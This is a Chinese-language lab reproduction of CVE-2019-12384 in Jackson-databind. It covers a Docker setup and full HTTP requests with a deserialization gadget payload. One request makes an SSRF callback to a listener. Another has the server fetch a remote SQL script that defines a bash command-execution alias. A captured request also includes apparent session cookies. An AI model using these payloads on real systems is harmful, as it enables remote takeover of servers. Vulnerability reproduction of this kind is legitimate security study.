CVE-2019-12384 jackson ssrf-rce漏洞复现

1.漏洞描述

由于Jackson黑名单过滤不完整而导致，当开发人员在应用程序中通过ObjectMapper对象调用enableDefaultTyping方法时，程序就会受到此漏洞的影响，攻击者就可利用构造的包含有恶意代码的json数据包对应用进行攻击，直接获取服务器控制权限。

影响版本：Jackson-databind 2.X < 2.9.9.1

2.漏洞搭建

1、创建在桌面一个docker-compose 配置文件，命名为：CVE-2019-12384，里面添加配置文件：

version: '2'
services:
  web:
    image: tech1iu/servlet-with-jackson:2.9.8
    container_name: jackson-fuckme
    ports:
      -  "8080:8080"

 2、拉取和启动

docker-compose -f CVE-2019-12384 up -d

通过ps查看端口号

 访问搭建的环境（这种就代表环境搭建成功）

3.复现

1、SSRF

抓取搭建漏洞站点数据包，数据包如下：

POST /fuckme HTTP/1.1
Host: 192.168.3.137:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: pro_end=-1; ltd_end=-1; order=id%20desc; memSize=2978; sites_path=/www/wwwroot; serverType=nginx; backup_path=/www/backup; force=0; load_page=null; load_search=undefined; pnull=nullnot_load; uploadSize=1073741824; rank=a; SetName=; site_type=-1; ChangePath=3; vcodesum=9; SESScc3cfa2752cb20299766315b04dc7f8a=DUjfNVloT1dZgF2MyF2qjBGeEIPVWnRLF2aOvs7q808; request_token=S3WKG02B2DYSeyCaHQrfoZQfUirBwH1eq6sg9SYYhZnrvWFN; softType=10; load_type=10; Path=/www/server/panel/plugin/free_waf; aceEditor=%7B%22fontSize%22%3A%2213px%22%2C%22theme%22%3A%22monokai%22%7D
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 111

poc=["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:tcp://xx.xx.xx.xx:7777/"}]

nc监听payload里面的7777端口，通过payload的使用，监听的端口可以收到信息。

2、RCE

在物理机上放一个恶意的.sql文件，然后利用ssrf漏洞去请求恶意文件：la.sql:

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('touch shell.txt')

 发送payload，请求远程的sql文件，进行RCE

数据包：

POST /fuckme HTTP/1.1
Host: 192.168.3.137:8080
Proxy-Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.3.137:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 162
Content-Type: application/x-www-form-urlencoded

poc=["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://192.168.3.37/la.sql'"}]

进入容器验证是否创建shell.txt

 复现成功。

参考：https://github.com/0xlane/vu1hub/tree/master/jackson/CVE-2019-12384-RCE